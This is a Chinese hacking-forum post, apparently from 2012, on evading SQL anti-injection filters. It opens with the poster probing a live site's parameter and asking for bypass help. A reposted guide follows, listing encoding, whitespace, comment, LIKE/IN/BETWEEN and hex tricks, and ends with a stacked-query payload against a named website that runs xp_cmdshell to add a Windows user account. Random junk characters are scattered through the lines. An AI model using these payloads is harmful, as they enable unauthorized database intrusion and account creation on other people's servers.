找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2046|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.
3 W+ v& W# J  a1 ~! d* @http://www.xxx.cn/Article.asp?ID=117 and 1=1
  b# C6 x, M, T( P3 C% J" A直接返回主页5 G$ C. v9 V8 `! P! S- H* d, d: l
http://www.xxx.cn/Article.asp?ID=117 or 1=1
* [3 j2 [2 R' \+ X直接返回主页4 N. k( F* E* z& J& ^
http://www.xxx.cn/Article.asp?ID=117 or( A# e' M# D; o7 o1 W# J
没有返回主页 没有过滤or
+ Q6 m( P$ H8 Ihttp://www.xxx.cn/Article.asp?ID=117 and9 e/ k9 t5 V5 b) W( H1 C% l
直接返回主页 看来过滤了and
" D0 y, g7 u$ Rhttp://www.xxx.cn/Article.asp?ID=117 or 17 i* k/ a# g' r) |3 ?1 T" P
没有返回主页 即没有过滤or 也没有过滤1
  O0 ^, k* D- e3 {& g4 [- o! hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
8 A/ D( _. R- x5 p1 |1 _# H直接返回主页 很明显过滤了等号 $ M0 {; G, A, F$ s" \
or的特性是与and相反的.
1 G5 s5 m% |( _  X3 Mor 1=1 爆错 或与原页面不同
, ]7 U0 c& S/ N  ^8 S" For 1=2 原页面相同
+ z! x0 g6 v" W( u3 v6 B9 j, E这样就是一个注入点( c3 `1 t7 U9 N8 p/ `, B3 m# @
但他过滤了=号 我就用><号代替=号吧!
, F  ~* _4 o3 n; P5 Q6 nor 1<2 很明显是正确的,所以应该与原页面不同$ J: r' c" n5 P" u* p3 N
or 1>2 很明显是错误的,所以应该与原页面相同
6 d- [$ ?4 B3 ]% t! m然后看看有没有过滤其他的查询语句,比如select.
# B4 h7 \3 J# d2 J. y  phttp://www.xxx.cn/Article.asp?ID=117 select
. l3 n8 U) E  c7 Z7 q直接返回主页7 p7 t+ ]$ x) f7 a
又迷茫了..
  E; A' d3 j$ v9 l! X7 C: X
! Z% i/ `! W0 J2 A# j
7 {, P- `% ^, n5 P2 ccookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗" R" P: }. c* d' T
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)# L5 {' [' @# a
================================================( s; u' h( b' z! n5 u/ o: d
以下是转贴:
# e4 [: l; d3 Y6 t2 [1 r2 j  p6 y6 O6 @; B8 c# b' \) t8 X, _4 @0 R
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
  `" @, [& Y) h+ K% j' ^经过我的收集,大部分的防注入程序都过滤了以下关键字:
" k2 q. r9 i2 _1 x5 A4 @3 k- ]and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
$ y& [% g4 j% X& {而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
4 P% [3 w8 T$ \* Y. R# [7 U对于关键字的过滤,以下是我收集的以及我个人的一些想法。 . F) c" A& M2 P. K, c9 R& u
1、运用编码技术绕过   a2 @" G2 t* f6 z7 P$ P! d
如URLEncode编码,ASCII编码绕过。例如or 1=1即
5 j0 j1 }( D. G% H, ^; |' h. ^%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
$ Q; u+ r" L' ?; h& g; L
. n* @! _! q: O" x+ C2、通过空格绕过 4 c- x: Z7 q1 X1 j
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 & z3 J- A: c+ {* L+ b3 K
or’ swords’ =‘swords’ 9 n3 B1 s3 Z2 }% e: {
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
+ H! T% K; V+ H, _3、运用字符串判断代替
  {% F# _, s3 H) t用经典的or 1=1判断绕过,如 5 L5 P. |' q5 k0 f6 X
or ’swords’ =’swords’ / Z' h6 i+ Y& U
,这个方法就是网上在讨论的。 9 _; j+ E  d  }2 N
4、通过类型转换修饰符N绕过 1 Y2 |( z0 h: z0 T
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
- V: o3 p0 |) N" H" R5、通过+号拆解字符串绕过
6 g; u; d. e; K$ k效果值得考证,但毕竟是一种方法。如
) d$ `! ?( E4 j: V6 Oor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 9 e' z% \* }4 X1 q' \5 t

. D6 k" f9 L1 F" C5 o6、通过LIKE绕过
0 B9 e1 u  _$ ~+ Z1 H' a; U3 C4 B以前怎么就没想到呢?如or
- H' a8 ]7 J% n. |5 n2 D’swords’ LIKE ’sw’ 3 d  y7 ^" s* ^8 P. c
!!!显然可以很轻松的绕过
  _) z1 L" o: f) x) R) L“=”“>”
  A- `& a& X2 r的限制…… 5 B0 _0 E/ F- @. P4 ?. b
7、通过IN绕过 0 q7 G* C$ q; h6 e
与上面的LIKE的思路差不多,如 / E5 C7 m& ~: D$ @9 S
or ’swords’ IN (’swords’)
1 a; K) ^9 K5 R
! U! V) ]( g1 _' v% [0 A9 U8、通过BETWEEN绕过
% a) D9 A1 J. {+ R8 Q; U
4 m5 m3 B4 e9 B, I" |; {; P  {7 uor ’swords’ BETWEEN ’rw’ AND ’tw’
( ~* M# ^# x  j) q% q
+ C# X7 @4 C1 J  q7 k3 ~/ t9、通过>或者<绕过
7 g' ^2 X7 p1 k2 \5 G. |or ’swords’ > ’sw’ 4 y0 P# q- ?: q4 k
or ’swords’ < ’tw’ " ~2 J* ~: X/ ~& e/ W; Q- ~6 m
or 1<3
. n$ f  ^( q8 r1 q8 _…… * s5 H0 r. `0 g& P5 O. t( I/ d
10、运用注释语句绕过
4 q: b3 e/ u' Z5 B7 M. [用/**/代替空格,如: 3 n5 \% r' E5 d! C# j9 y0 [
UNION /**/ Select /**/user,pwd,from tbluser
5 v, P/ |8 w+ o/ ^, V. i  ?) j  ?
+ e+ ]- d( z7 i% ?用/**/分割敏感词,如:
) m2 o1 k: x" W8 h6 d: `! GU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser   }: b+ I* c( m' @2 f& B7 s8 T9 ^* k

6 a  B- L6 [6 H  f. X! ^$ U11、用HEX绕过,一般的IDS都无法检测出来
' T) B; S, d5 D( P" Q7 ^0x730079007300610064006D0069006E00 =hex(sysadmin) 4 A6 g0 E$ i- g7 V5 v* u
0x640062005F006F0077006E0065007200 =hex(db_owner) 2 O4 g6 n* `9 y& j+ z5 v
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: - {9 g/ i8 Y5 K0 l* R9 e
  declare @a sysname + J: @2 D  E/ v2 y5 \
  select @a= ) _6 A+ F& D2 }  @  D
  exec master.dbo.xp_cmdshell @a + g, E5 R7 y/ Z
效果 . _) {8 t3 X$ I
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
6 _7 j7 }+ Z$ J5 J5 _
' P: s  C6 g1 U8 C) V7 e其中的
/ E  P# h* x. F% k+ C0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
0 @/ m6 s/ `1 E1 d7 I6 i7 ]4 H+ \就是 6 G  M% z8 D6 _  C/ Q0 M1 L
“net user angel pass /add”
6 U* i+ {& h3 R% v/ \3 u; _
8 e% f# A( z% @& N一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
2 i6 \; O" J0 p! S) X# c: K) c引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。, f: w* U4 k% l" `* A2 H) t+ k
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
5 l3 T1 |" `5 W3 @2 _& XCopy code) L, K0 x8 H' \
select * from table exec xp_cmdshell'xxxxxxxxxx', T; S- |4 y$ B& }7 N( D, z- l
; o0 ^# \  z/ x) V( ?2 r
+ A8 B5 X$ U4 e% }' J. ]% r6 n
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
5 @6 j. ~, q  ]' G7 S) r, Q) `: i" m. d" s0 D: c  [2 ]
  g, M% G; y7 w9 E. D
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'8 Y$ N) d; c, T
  ]4 W  G5 J1 V! ], {
  @( t% Q& u" k# g
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'$ O- B8 X: n7 T: Y7 H6 m
4 i: S5 v+ U  ^2 N0 x
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
) T3 Q0 D! N( i; Y, \
9 |) D: e/ z2 a) z0 d9 V8 l这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了( f1 ^! K& J+ |4 {
可能大家早就知道了,不管怎么说,发在这里吧!2 B- z  i( [6 p+ D  R
& r6 `" C" c% h, c2 W
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。( @  y% S0 \( z; S( f( M
+ l! B) K  X( b9 `# G
. [" F& z  B# }7 o
4 k% v, G& I; i5 w
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
+ Q8 B* C( y% n% g" J比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
: k( ^: ?' C; f# T1 z; b
" T- T5 @" G3 Q  c8 Q/ B# c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表